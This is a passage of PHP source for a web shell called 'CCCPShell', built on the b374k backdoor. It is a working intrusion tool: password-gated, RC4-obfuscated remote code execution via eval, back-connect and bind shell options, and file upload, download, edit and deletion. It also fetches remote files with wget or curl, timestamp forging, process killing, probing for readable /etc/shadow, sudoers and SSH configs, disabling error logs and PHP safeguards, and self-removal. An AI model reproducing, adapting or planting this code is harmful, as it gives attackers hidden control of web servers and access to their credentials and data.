";
}
}
# System variables
$config['charset'] = 'utf-8'; //'utf-8', 'big5', 'gbk', 'iso-8859-2', 'euc-kr', 'euc-jp'
$config['date'] = 'd/m/Y';
$config['datetime'] = 'd/m/Y H:i:s';
$config['hd_lines'] = 16; //lines in hex preview file
$config['hd_rows'] = 32; //16, 24 or 32 bytes in one line
$config['FMLimit'] = 100; //file manager item limit. false = No limit
$config['SQLLimit'] = 50; //sql manager result limit.
$config['checkBDel'] = true;//Check Before Delete: true = On
$config['consNames'] = array('post'=>'dsr', 'slogin'=>'cccpshell', 'sqlclog'=>'conlog'); //Constants names
$config['sPass'] = '775a373fb43d8101818d45c28036df87'; // md5(pass)
$config['rc4drop'] = 78; //drop size
// ------ Start CCCPShell
$loadTime = microtime(true);
$isWIN = DIRECTORY_SEPARATOR === '\\';
define('DS', DIRECTORY_SEPARATOR);
# Restoring
@ini_restore('safe_mode_include_dir');
@ini_restore('safe_mode_exec_dir');
@ini_restore('disable_functions');
@ini_restore('allow_url_fopen');
@ini_restore('safe_mode');
@ini_restore('open_basedir');
@ini_set('error_log', null);
@ini_set('log_errors', 0);
@ini_set('file_uploads', 1);
@ini_set('allow_url_fopen', 1);
@ini_alter('error_log', null);
@ini_alter('log_errors', 0);
@ini_alter('file_uploads', 1);
@ini_alter('allow_url_fopen', 1);
@error_reporting(7);
@ini_set('memory_limit', '128M'); //change it if phpzip fails
@set_time_limit(0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
if (function_exists('set_magic_quotes_runtime')){
@set_magic_quotes_runtime(0);
}
function mHide($n, $v){
return "";
}
function mLink($t, $o, $e = '', $m = true){
if ($m) $o .= ';return false;';
return "$t";
}
function mInput($n, $v, $tt = '', $nl = '', $c = '', $e = ''){
if ($tt !== '') $tt = "$tt
";
$input = "$tt";
if ($nl !== '') $input = "
';
$i = 0;
while($i < $t) {
$i++;
if ($i < $c)
$tmp .= mLink($i, $l . $i . '")', 'class="prev"');
else if ($i == $c)
$tmp .= '' . $i . '';
else
$tmp .= mLink($i . ($fm ? ' ...?' : ''), $l . $i . '")', 'class="next"');
}
return $tmp . '
';
}
function fix_magic_quote($arr){
$quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
$quotes_sybase = (empty($quotes_sybase) || $quotes_sybase === 'off') ? false : true;
if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
if(is_array($arr)){
foreach($arr as $k => $v){
if(is_array($v)) $arr[$k] = fix_magic_quote($v);
else $arr[$k] = ($quotes_sybase ? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v)));
}
} else {
$arr = stripslashes($arr);
}
}
return $arr;
}
function rc4Init($pwd) {
$key = array();
$box = array();
$pwd_length = strlen($pwd);
for ($i = 0; $i < 256; $i++) {
$key[$i] = ord($pwd[$i % $pwd_length]);
$box[$i] = $i;
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $key[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
return $box;
}
function rc4($data, $box) {
$cipher = '';
$data_length = strlen($data);
for ($a = $j = $i = 0; $i < $data_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$cipher .= chr(ord($data[$i]) ^ $box[(($box[$a] + $box[$j]) % 256)]);
}
return $cipher;
}
function rc4encrypt($data, $box) {
global $config;
for ($i = 1; $i <= $config['rc4drop']; $i++)
$data = chr(mt_rand(33, 122)) . $data;
return rc4($data, rc4Init($box));
}
function rc4decrypt($data, $box) {
global $config;
return substr(rc4($data, rc4Init($box)), $config['rc4drop']);
}
function getData(){
global $config;
$p = '';
if (isset($_POST[$config['consNames']['post']])) $p = fix_magic_quote($_POST[$config['consNames']['post']]);
else if (isset($_GET[$config['consNames']['post']])) $p = fix_magic_quote($_GET[$config['consNames']['post']]);
if (!empty($p)){
$data = array();
$p = rc4decrypt(base64_decode($p), $config['sPass']);
foreach(explode('&', $p) as $tmp) {
$tmp = explode('=', $tmp);
if (!empty($tmp[0])){
if (strpos($tmp[0], '[]') !== false) $data[str_replace('[]', '', $tmp[0])][] = rawurldecode($tmp[1]);
else $data[$tmp[0]] = rawurldecode($tmp[1]);
}
}
$p = $data;
}
return $p;
}
function getSelf(){
return $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
}
function tText($id, $def = false){
// TODO ver que hacer con esta func
if ($def === false) {
return $id;
}
if (isset($lang[$id])) return $lang[$id];
else return $def;
}
function showIcon($f){
$image = 'unk';
$f = strtolower(substr(strrchr($f, '.'), 1));
$img = array('htaccess', 'asp', 'cgi', 'php', 'html', 'jpg', 'js', 'swf', 'txt',
'tar', 'mp3', 'avi', 'cmd', 'cpp', 'ini', 'doc', 'exe', 'log', 'pl', 'py', 'xml');
$imgEquals = array(
'tar' => array('tar', 'r00', 'ace', 'arj', 'bz', 'bz2', 'tbz', 'tbz2', 'tgz', 'uu', 'xxe', 'zip', 'cab', 'gz', 'iso', 'lha', 'lzh', 'pbk', 'rar', 'uuf', '7z'),
'php' => array('php', 'php3', 'php4', 'php5', 'phtml', 'shtml'),
'jpg' => array('jpg', 'gif', 'png', 'jpeg', 'jfif', 'jpe', 'bmp', 'ico', 'tif', 'tiff'),
'html'=> array('html', 'htm'),
'avi' => array('avi', 'mov', 'mvi', 'mpg', 'mpeg', 'wmv', 'rm', 'mp4'),
'lnk' => array('lnk', 'url'),
'ini' => array('ini', 'css', 'inf'),
'doc' => array('doc', 'dot', 'wri', 'rtf', 'pdf'),
'js' => array('js', 'vbs'),
'cmd' => array('cmd', 'bat', 'pif'),
'swf' => array('swf', 'fla'),
'mp3' => array('mp3', 'au', 'midi', 'mid'),
'htaccess' => array('htaccess', 'htpasswd', 'ht', 'hta', 'so')
);
if (in_array($f, $img)) $image = $f;
if ($image === 'unk'){
foreach ($imgEquals as $k => $v){
if (in_array($f, $v)){
$image = $k;
break;
}
}
}
return "
' . tText('Back Connect') . '
' . tText('Bind Shell') . '
';
}
} else if ($p['me'] === 'execute') {
$sBuff .= '
' . tText('Eval/Execute') . '
';
$code = @trim($p['c']);
if ($code){
if (isset($p['e'])){
$buf = execute($code, true);
$sBuff .= "
" . tText('Response') . ": ";
if (isset($p['dta']))
$sBuff .= "
";
else
$sBuff .= "
{$buf}
";
} else {
if (!preg_match('#<\?#si', $code))
$code = "\n\n{$code}\n\n?>";
//hago esta chapuzada para que no se muestre el resultado arriba
echo tText('Result of the executed code:');
$buf = ob_get_contents();
if ($buf){
ob_clean();
eval("?" . ">{$code}");
$ret = ob_get_contents();
$ret = convert_cyr_string($ret, 'd', 'w');
ob_clean();
$sBuff .= $buf;
if (isset($p['dta']))
$sBuff .= '
';
else
$sBuff .= "
{$ret}
";
} else
eval("?" . ">{$code}");
}
}
$sBuff .= '
';
} else if ($p['me'] === 'filemanager') {
define('SROOT', dirname(__file__) . DS);
$shelldir = getPath(SROOT, '.');
function dirsize($dir){
$f = $s = 0;
$dh = @opendir($dir);
while (false !== ($file = @readdir($dh))){
if ($file === '.' || $file === '..')
continue;
$path = $dir . DS . $file;
if (is_dir($path)){
$tmp = dirsize($path);
$f += $tmp['f'];
$s += $tmp['s'];
} else {
$f++;
$s += @filesize($path);
}
}
@closedir($dh);
return array ('f' => $f, 's' => $s);
}
function getChmod($filepath){
return substr(base_convert(@fileperms($filepath), 10, 8), -4);
}
function getPerms($filepath){
$mode = @fileperms($filepath);
if (!$mode) {
return '???????????';
}
if (($mode & 0xC000) === 0xC000) $type = 's'; // Socket
else if (($mode & 0x4000) === 0x4000) $type = 'd'; // Directory
else if (($mode & 0xA000) === 0xA000) $type = 'l'; // Symbolic Link
else if (($mode & 0x8000) === 0x8000) $type = '-'; // Regular
else if (($mode & 0x6000) === 0x6000) $type = 'b'; // Block special
else if (($mode & 0x2000) === 0x2000) $type = 'c'; // Character special
else if (($mode & 0x1000) === 0x1000) $type = 'p';// FIFO pipe
else $type = 'u'; // Unknown
$o['r'] = ($mode & 00400) ? 'r' : '-';
$o['w'] = ($mode & 00200) ? 'w' : '-';
$o['e'] = ($mode & 00100) ? 'x' : '-';
$g['r'] = ($mode & 00040) ? 'r' : '-';
$g['w'] = ($mode & 00020) ? 'w' : '-';
$g['e'] = ($mode & 00010) ? 'x' : '-';
$w['r'] = ($mode & 00004) ? 'r' : '-';
$w['w'] = ($mode & 00002) ? 'w' : '-';
$w['e'] = ($mode & 00001) ? 'x' : '-';
if ($mode & 0x800) $o['e'] = ($o['e']==='x') ? 's' : 'S';
if ($mode & 0x400) $g['e'] = ($g['e']==='x') ? 's' : 'S';
if ($mode & 0x200) $w['e'] = ($w['e']==='x') ? 't' : 'T';
return $type.$o['r'].$o['w'].$o['e'].$g['r'].$g['w'].$g['e'].$w['r'].$w['w'].$w['e'];
}
function getUser($filepath){
if (function_exists('posix_getpwuid')){
$array = @posix_getpwuid(@fileowner($filepath));
if ($array && is_array($array))
return mLink($array['name'], 'return false;', "title='User: {$array['name']} Passwd: {$array['passwd']} " .
"UID: {$array['uid']} GID: {$array['gid']} Gecos: {$array['gecos']} Dir: {$array['dir']} " .
"Shell: {$array['shell']}'", false);
}
return '';
}
function vPermsColor($t){
$c = 'mg';
if (!is_readable($t))
$c = 'mr';
else if (!is_writable($t))
$c = 'mw';
return "
" . getChmod($t) . ' ' . getPerms($t) . "";
}
function delTree($path){
$origipath = $path;
$h = opendir($path);
while (true){
$item = readdir($h);
if ($item === '.' or $item === '..')
continue;
if (gettype($item) === 'boolean'){
closedir($h);
if (!@rmdir($path))
return false;
if ($path == $origipath)
break;
$path = substr($path, 0, strrpos($path, DS));
$h = opendir($path);
} else if (is_dir($path . DS . $item)){
closedir($h);
$path = $path . DS . $item;
$h = opendir($path);
} else
unlink($path . DS . $item);
}
return true;
}
function recursiveCopy($path, $dest){
if (is_dir($path)){
@mkdir($dest);
$objects = scandir($path);
if (sizeof($objects) > 0){
foreach($objects as $file){
if ($file !== '.' && $file !== '..'){
if (is_dir($path.$file))
recursiveCopy($path . $file . DS, $dest . DS . $file . DS);
else
copy($path . $file, $dest . $file);
}
}
}
return true;
} else if(is_file($path)){
return copy($path, $dest);
} else {
return false;
}
}
function getext($file){
//$info = pathinfo($file);
return pathinfo($file, PATHINFO_EXTENSION);
}
function checkFile($t, $w, $f){
$ret = true;
if ($w)
$ret = $ret && is_writable($t);
return $ret;
}
function download($url, $save){
global $isWIN;
if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
if(is_file($save)) unlink($save);
if($sBuff = file_get_contents($url)){
if(file_put_contents($save, $sBuff))
return true;
}
if (!$isWIN){
$buff = execute('wget '.$url.' -O '.$save);
if(is_file($save)) return true;
$buff = execute('curl '.$url.' -o '.$save);
if(is_file($save)) return true;
$buff = execute('lwp-download '.$url.' '.$save);
if(is_file($save)) return true;
$buff = execute('lynx -source '.$url.' > '.$save);
if(is_file($save)) return true;
}
return false;
}
function fileList($typ, $dir, $limit, $page, $onlyW = false, $find = false, $rec = false, $count = 0){
global $fDataD, $fDataF;
$sFolder = $sFile = $show = true;
if ($limit){
$show = false;
if (!isset($page))
$page = 1;
$start = $limit * ($page - 1);
$limit = $limit * $page;
}
if ($typ === 'dir')
$sFile = false;
else if ($typ === 'file')
$sFolder = false;
if ($res = opendir($dir)){
while ($file = readdir($res)){
if ($limit) {
if ($count == $start)
$show = true;
if ($count == $limit)
break;
}
if ($file !== '.' && $file !== '..' && is_dir($dir . $file)){
if ($rec)
//yield fileList($typ, $dir . $file, $limit, $page, $find, $rec, $count);
fileList($typ, $dir . $file, $limit, $page, $find, $rec, $count);
else if ($show && $sFolder && checkFile($dir . $file, $onlyW, $find))
//yield array('t'=>'d', 'n'=>$file);
$fDataD[] = $file;
$count++;
} else if (is_file($dir . $file) && $sFile){
if ($show && checkFile($dir . $file, $onlyW, $find))
//yield array('t'=>'f', 'n'=>$file);
$fDataF[] = $file;
$count++;
} //TODO syslinks
}
closedir($res);
@clearstatcache();
}
}
// comienzo
if (@$p['md'] === 'vs'){
$s = dirsize($p['f']);
sAjax(is_numeric($s['s']) ? sizecount($s['s']) . ' (' . $s['f'] . ')' : 'Error?');
} else if (@$p['md'] === 'tools'){
switch ($p['ac']){
case 'cdir':
if (file_exists($p['a'] . $p['b']))
sAjax(tText('alredyexists', 'object alredy exists'));
@mkdir($p['a'] . $p['b'], 0777);
@chmod($p['a'] . $p['b'], 0777);
if (file_exists($p['a'] . $p['b']))
sAjax('OK');
sAjax(tText('fail', 'Fail!'));
break;
case 'cfile':
if (file_exists($p['a'] . $p['b']))
sAjax(tText('alredyexists', 'object alredy exists'));
if (false !== file_put_contents($p['a'] . $p['b'], ''))
sAjax('OK');
sAjax(tText('accessdenied', 'Access denied'));
break;
case 'comp':
if ($p['dl']){
$zip = new PHPZip();
$zip->Zipper($p['fl'], $p['dl']);
header('Content-Type: application/octet-stream');
header('Accept-Ranges: bytes');
header('Accept-Length: ' . strlen($compress));
header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . '_' . date('Ymd-His') . '.zip');
echo $zip->file();
exit;
}
break;
case 'uncomp':
if ($p['dl']){
$types['zip'] = 'zip';
$types['tar'] = 'tar';
$types['tar.gz'] = 'targz';
$types['tgz'] = 'targz';
$fNames = array();
foreach($p['dl'] as $value){
$ext = pathinfo($value);
if (isset($types[ $ext['extension'] ]))
if (decompress($types[ $ext['extension'] ], $p['fl'] . $value, $p['fl']))
$fNames[] = $value;
}
sAjax(tText('pfm', 'Process files:') . implode(', ', $fNames) . ' (' . count($fNames) . ')');
}
break;
case 'reup':
if (download($p['b'], $p['a'] . basename($p['b'])))
sAjax('OK');
sAjax(tText('fail', 'Fail'));
break;
case 'copy':
if ($p['dl']){
$fNames = Array();
$total = count($p['dl']);
if ($p['b'][(strlen($p['b']) - 1)] !== DS) $p['b'] .= DS;
for ($z = 0; $total > $z; $z++){
$fileinfo = pathinfo($p['fl'] . $p['dl'][$z]);
if (!file_exists($p['fl'] . $p['dl'][$z]))
sAjax(tText('notexist', 'Object does not exist'));
if (is_dir($p['fl'] . $p['dl'][$z])){
if (!@recursiveCopy($p['fl'] . $p['dl'][$z], $p['b'] . $fileinfo['basename'] . DS)) $fNames[] = $p['dl'][$z];
} else {
if (!@copy($p['fl'] . $p['dl'][$z], $p['b'] . $fileinfo['basename'])) $fNames[] = $p['dl'][$z];
}
}
sAjax(hsc(tText('total', 'Total') . ': ' . $total . ' [' . tText('correct', 'correct') . ' ' . ($total - count($fNames)) . ' - ' . tText('failed', 'failed') . ' '. count($fNames) . (count($fNames) == 0 ? '' : ' (' . implode(', ', $fNames) . ')') . ']'));
}
break;
case 'del':
if (!file_exists($p['a']))
sAjax(tText('notexist', 'Object does not exist'));
sAjax((is_dir($p['a']) ? @delTree($p['a']) : @unlink($p['a'])) ? 'OK' : tText('fail', 'Fail!'));
break;
case 'rdel':
if ($p['dl']){
$fNames = Array();
$total = count($p['dl']);
for ($z = 0; $total > $z; $z++){
if (is_dir($p['fl'] . $p['dl'][$z])){
if (!@delTree($p['fl'] . $p['dl'][$z])) $fNames[] = $p['dl'][$z];
} else {
if (!@unlink($p['fl'] . $p['dl'][$z])) $fNames[] = $p['dl'][$z];
}
}
sAjax(tText('total', 'Total') . ': ' . $total . ' [' . tText('correct', 'correct') . ' ' . ($total - count($fNames)) . ' - ' . tText('failed', 'failed') . ' '. count($fNames) . (count($fNames) == 0 ? '' : ' (' . implode(', ', $fNames) . ')') . ']');
}
break;
case 'dl':
if (!file_exists($p['fl']))
sAjax(tText('notexist', 'Object does not exist'));
$fileinfo = pathinfo($p['fl']);
header('Content-Type: application/x-' . $fileinfo['extension']);
header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
header('Content-Length: ' . filesize($p['fl']));
readfile($p['fl']);
exit;
break;
case 'edit':
if (file_put_contents($p['a'], $p['fc']))
sAjax(tText('ok', 'Ok!'));
tText('fail', 'Fail!');
break;
case 'mdate':
if (!@file_exists($p['a']))
sAjax(tText('notexist', 'Object does not exist'));
if (isset($p['b'])) $time = strtotime($p['b']);
else $time = strtotime($p['y'] . '-' . $p['m'] . '-' . $p['d'] . ' ' . $p['h'] . ':' . $p['i'] . ':' . $p['s']);
sAjax(@touch($p['a'], $time, $time) ? tText('ok', 'Ok!') : tText('fail', 'Fail!'));
break;
case 'mdatec':
if (!@file_exists($p['a']) || !@file_exists($p['b']))
sAjax(tText('notexist', 'Object does not exist'));
$time = @filemtime($p['b']);
sAjax(@touch($p['a'], $time, $time) ? tText('ok', 'Ok!') : tText('fail', 'Fail!'));
break;
case 'mpers':
if (!file_exists($p['a']))
sAjax(tText('notexist', 'Object does not exist'));
sAjax(@chmod($p['a'], base_convert($p['b'], 8, 10)) ? 'OK' : tText('fail', 'Fail!'));
break;
case 'ren':
if (!file_exists($p['a']))
sAjax(tText('notexist', 'Object does not exist'));
sAjax(@rename($p['a'], $p['b']) ? 'OK' : tText('fail', 'Fail!'));
break;
}
} else if (@$p['md'] === 'info'){
if (file_exists($p['t'])){
$sBuff .= '
' . tText('information', 'Information') . ' [' . mLink(tText('goback', 'Go Back'), 'ajaxLoad("me=filemanager&dir=' . rawurlencode(getUpPath($p['t'])) . '")') . ']
' . tText('path', 'Path') . ' | ' . hsc($p['t']) . ' |
' . tText('size', 'Size') . ' | ' . sizecount(filesize($p['t'])) . ' |
' . tText('md5', 'MD5') . ' | ' . strtoupper(@md5_file($p['t'])) . ' |
' . tText('sha1', 'SHA1') . ' | ' . strtoupper(@sha1_file($p['t'])) . ' |
' . tText('ctime', 'Create time') . ' | ' . date($config['datetime'], filectime($p['t'])) . ' |
' . tText('atime', 'Access time') . ' | ' . date($config['datetime'], fileatime($p['t'])) . ' |
' . tText('mtime', 'Modify time') . ' | ' . date($config['datetime'], filemtime($p['t'])) . ' |
';
if (!$isWIN){
$ow = posix_getpwuid(fileowner($p['t']));
$gr = posix_getgrgid(filegroup($p['t']));
$sBuff .= '' . tText('chmodchown', 'Chmod/Chown') . ' | ' .
($ow['name'] ? $ow['name'] : fileowner($p['t'])) . '/' . ($gr['name'] ? $gr['name'] : filegroup($p['t'])) .
' |
' . tText('perms', 'Perms') . ' | ' . vPermsColor($p['t']) . ' |
';
}
$sBuff .= '
';
$fp = @fopen($p['t'], 'rb');
if ($fp){
$sBuff .= '
[' . mLink(tText('hl', 'Highlight'), 'ajaxLoad("me=filemanager&md=info&hl=n&t=" + euc(dpath(this, false)))') . ']
[' . mLink(tText('hlp', 'Highlight +'), 'ajaxLoad("me=filemanager&md=info&hl=p&t=" + euc(dpath(this, false)))') . ']
[' . mLink(tText('hd', 'Hexdump'), 'ajaxLoad("me=filemanager&md=info&hd=n&t=" + euc(dpath(this, false)))') . ']
[' . mLink(tText('hdp', 'Hexdump preview'), 'ajaxLoad("me=filemanager&md=info&hd=p&t=" + euc(dpath(this, false)))') . ']
[' . mLink(tText('edit', 'Edit'), 'ajaxLoad("me=filemanager&md=edit&t=" + euc(dpath(this, false)))') . ']
';
if (isset($p['hd'])){
if ($p['hd'] === 'n'){
$sBuff .= '
Hex Dump';
$str = fread($fp, filesize($p['t']));
} else {
$sBuff .= '
Hex Dump Preview';
$str = fread($fp, $config['hd_lines'] * $config['hd_rows']);
}
$show_offset = '00000000
';
$show_hex = '';
$show_sBuff = '';
$counter = 0;
$str_len = strlen($str);
for ($i = 0; $i < $str_len; $i++){
$counter++;
$show_hex .= sprintf('%02X', ord($str[$i])) . ' ';
switch (ord($str[$i])){
case 0 :
case 9 :
case 10:
case 13:
case 32: $show_sBuff .= ' ';
break;
default: $show_sBuff .= $str[$i];
}
if ($counter === $config['hd_rows']){
$counter = 0;
if ($i + 1 < $str_len)
$show_offset .= sprintf('%08X', $i + 1) . '
';
$show_hex .= '
';
$show_sBuff .= "\n";
}
}
$sBuff .= '
' . $show_offset . ' | ' . $show_hex . ' | ' . hsc($show_sBuff) . ' |
';
} else if (isset($p['hl'])){
if (function_exists('highlight_file')){
if ($p['hl'] === 'n'){
$sBuff .= '
Highlight:' .
'
' . highlight_file($p['t'], true) . '
';
} else {
$code = substr(highlight_file($p['t'], true), 36, -15);
//if (substr_count($code, '
') > substr_count($code, "\n"))
$lines = explode('
', $code);
$pl = strlen(count($lines));
$sBuff .= '
Highlight +:';
foreach($lines as $i => $line){
$sBuff .= sprintf('%s | %s
', str_pad($i + 1, $pl, '0', STR_PAD_LEFT), $line);
}
$sBuff .= '
';
}
} else
$sBuff .= sDialog(tText('hlerror', 'highlight_file() dont exist!'));
} else {
$str = @fread($fp, filesize($p['t']));
$sBuff .= '
File:' .
'
';
}
}
} else
$sBuff .= sDialog(tText('accessdenied', 'Access denied'));
@fclose($fp);
} else if (@$p['md'] === 'edit'){
if (file_exists($p['t'])){
$filemtime = explode('-', @date('Y-m-d-H-i-s', filemtime($p['t'])));
$sBuff .= '
' . tText('edit', 'Edit') . ' [' . mLink(tText('goback', 'Go Back'), 'ajaxLoad("me=filemanager&dir=' . rawurlencode(getUpPath($p['t'])) . '")') . ']
';
$fp = @fopen($p['t'], 'r');
if ($fp) {
$sBuff .= '
';
}
@fclose($fp);
}
} else {
if (isset($p['ac']) && $p['ac'] === 'up')
$sBuff .= sDialog(@copy($_FILES['upf']['tmp_name'], $p['dir'] . DS . $_FILES['upf']['name']) ? tText('upload', 'Upload') . ' ' . tText('ok', 'Ok!') : tText('fail', 'Fail!'));
$currentdir = $shelldir;
if (!empty($p['dir'])){
$p['dir'] = fixRoute($p['dir']);
if (substr($p['dir'], -1) !== DS) $p['dir'] = $p['dir'] . DS;
$currentdir = $p['dir'];
}
$sBuff .= '
' . mHide('base', $currentdir);
} else
$sBuff .= sDialog(tText('accessdenied', 'Access denied'));
if ($config['FMLimit'])
$sBuff .= genPaginator($p['pg'], ($c < $config['FMLimit'] ? $p['pg'] : -1));
}
} else if ($p['me'] === 'info') {
function getfun($n){
return (false !== function_exists($n)) ? tText('yes', 'yes') : tText('no', 'no');
}
function read_file($file){
$content = false;
if($fh = @fopen($file, "rb")){
$content = "";
while(!feof($fh)){
$content .= fread($fh, 8192);
}
}
return $content;
}
if (isset($p['pvn'])) {
$sBuff .= sAjax($p['pvn'] . ': ' . getfun($p['pvn']));
}
$sBuff .= '
';
//resume
$dis_func = get_cfg_var('disable_functions');
!$dis_func && $dis_func = 'No';
$sBuff .= "
Resume
" .
"
";
$info = array(
'Server Time' => date('Y/m/d h:i:s', time()),
'Server Domain' => $_SERVER['SERVER_NAME'],
'Server IP' => gethostbyname($_SERVER['SERVER_NAME']),
'Server OS' => PHP_OS,
'Server OS Charset' => $_SERVER['HTTP_ACCEPT_LANGUAGE'],
'Server Software' => $_SERVER['SERVER_SOFTWARE'],
'Server Web Port' => $_SERVER['SERVER_PORT'],
'PHP run mode' => php_sapi_name(),
'This file path' => __file__,
'PHP Version' => PHP_VERSION,
'PHP Info' => ((function_exists('phpinfo') && @! in_array('phpinfo', $dis_func)) ? 'Yes' : 'No'),
'Safe Mode' => getcfg('safe_mode'),
'Administrator' => (isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from')),
'allow_url_fopen' => getcfg('allow_url_fopen'),
'enable_dl' => getcfg('enable_dl'),
'display_errors' => getcfg('display_errors'),
'register_globals' => getcfg('register_globals'),
'magic_quotes_gpc' => getcfg('magic_quotes_gpc'),
'memory_limit' => getcfg('memory_limit'),
'post_max_size' => getcfg('post_max_size'),
'upload_max_filesize' => (getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'),
'max_execution_time' => getcfg('max_execution_time') . ' second(s)',
'disable_functions' => $dis_func,
'MySQL' => getfun('mysql_connect'),
'MSSQL' => getfun('mssql_connect'),
'PostgreSQL' => getfun('pg_connect'),
'Oracle' => getfun('ocilogon'),
'Curl' => getfun('curl_version'),
'gzcompress' => getfun('gzcompress'),
'gzencode' => getfun('gzencode'),
'bzcompress' => getfun('bzcompress')
);
foreach ($info as $v => $k)
$sBuff .= "{$v} | {$k} |
";
$sBuff .= "
";
//server misc info - based on b374k
$sBuff .= "
Server Info
" .
"
";
if ($isWIN){
foreach (range("A", "Z") as $letter){
if(is_readable($letter.":\\")){
$drive = $letter.":";
$sBuff .= "drive {$drive} | " . sizecount(@disk_free_space($drive)) . " free of " . sizecount(@disk_total_space($drive)) . " |
";
}
}
} else
$sBuff .= "root partition | " . sizecount(@disk_free_space("/")) . " free of " . sizecount(@disk_total_space("/")) . " |
";
$sBuff .= "PHP | " . phpversion() . " |
";
$access = array(
"python"=>"python -V",
"perl"=>"perl -e \"print \$]\"",
"python"=>"python -V",
"ruby"=>"ruby -v",
"node"=>"node -v",
"nodejs"=>"nodejs -v",
"gcc"=>"gcc -dumpversion",
"java"=>"java -version",
"javac"=>"javac -version"
);
foreach($access as $k => $v){
$v = execute($v);
if (!$v) $v = "?";
$sBuff .= "{$k} | {$v} |
";
}
if(!$isWIN){
$interesting = array(
"/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
"/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
"/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
"/etc/ssh/sshd_config",
"/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
"/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
"/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules"
);
foreach($interesting as $f){
if (@is_file($f) && @is_readable($f))
$sBuff .= "{$f} | {$f} is readable |
";
}
}
$sBuff .= "
";
// cpu info
if(!$isWIN){
if ($i_buff=trim(read_file("/proc/cpuinfo"))){
$sBuff .= "
CPU Info
" .
"
";
$i_buffs = explode("\n\n", $i_buff);
foreach($i_buffs as $i_buffss){
$i_buffss = trim($i_buffss);
if($i_buffss!=""){
$i_buffsss = explode("\n", $i_buffss);
$sBuff .= "
";
foreach($i_buffsss as $i){
$i = trim($i);
if($i!=""){
$ii = explode(":",$i);
if(count($ii)==2) $sBuff .= "{$ii[0]} | {$ii[1]} |
";
}
}
$sBuff .= "
";
}
}
$sBuff .= "
";
}
// mem info
if ($i_buff=trim(read_file("/proc/meminfo"))){
$sBuff .= "
Memory Info
" .
"
";
$i_buffs = explode("\n", $i_buff);
foreach($i_buffs as $i){
$i = trim($i);
if($i!=""){
$ii = explode(":", $i);
if(count($ii)==2) $sBuff .= "{$ii[0]} | {$ii[1]} |
";
} else
$sBuff .= "
";
}
// partition
if ($i_buff=trim(read_file("/proc/partitions"))){
$sBuff .= "
Partitions Info
" .
"
" .
"
";
$i_buff = preg_replace("/\ +/", " ", $i_buff);
$i_buffs = explode("\n\n", $i_buff);
$i_head = explode(" ", $i_buffs[0]);
foreach($i_head as $h)
$sBuff .= "{$h} | ";
$sBuff .= "
";
$i_buffss = explode("\n", $i_buffs[1]);
foreach($i_buffss as $i_b){
$i_row = explode(" ", trim($i_b));
$sBuff .= "";
foreach($i_row as $r)
$sBuff .= "{$r} | ";
$sBuff .= "
";
}
$sBuff .= "
";
}
}
$phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
foreach($phpinfo as $p=>$i){
$sBuff .= "
{$p}
";
ob_start();
eval("phpinfo($i);");
$b = ob_get_contents();
ob_end_clean();
if (preg_match("/(.*?)<\/body>/is", $b, $r)){
$body = str_replace(array(',', ';', '&'), array(', ', '; ', '&'), $r[1]);
$body = str_replace('
(.*?)<\/tr>/", "", $body);
$body = preg_replace("//", '', $body);
$body = preg_replace("//", '', $body);
$sBuff .= "{$body}
";
}
}
} else if ($p['me'] === 'process') {
if (isset($p['ps'])){
$tmp = '';
for ($i = 0; count($p['ps']) > $i; $i++){
if (function_exists('posix_kill'))
$tmp .= (posix_kill($p['ps'][$i], '9') ? 'Process with pid ' . $p['ps'][$i] . ' has been successfully killed' : 'Unable to kill process with pid ' . $p['ps'][$i]) . '
';
else {
if($isWIN) $tmp .= execute("taskkill /F /PID {$p['ps'][$i]}") . '
';
else $tmp .= execute("kill -9 {$p['ps'][$i]}") . '
';
}
}
$sBuff .= sDialog($tmp);
}
$h = 'ps aux';
$wexp = ' ';
if ($isWIN){
$h = 'tasklist /V /FO csv';
$wexp = '","';
}
$res = execute($h);
if (trim($res) === '') $sBuff = sDialog('Error getting process list');
else {
if(!$isWIN) $res = preg_replace('#\ +#', ' ', $res);
$psarr = explode("\n", $res);
$h = true;
$tblcount = 0;
$wcount = count(explode($wexp, $psarr[0]));
$sBuff .= '
';
}
} else if ($p['me'] === 'selfremove') {
if ((isset($p['uc'])) && ($p['uc'] === $p['rc'])){
if (unlink(__file__)){
@ob_clean();
exit('Bye ;(');
} else
$sBuff .= '' . tText('fail', 'Fail!') . '
';
}
$r = mt_rand(1337, 9999);
$sBuff .= '';
} else if ($p['me'] === 'sql') {
// SQL based on b374k by DSR!
function sql_connect($type, $host, $user, $pass){
if ($type === 'mysql'){
$hosts = explode(':', $host);
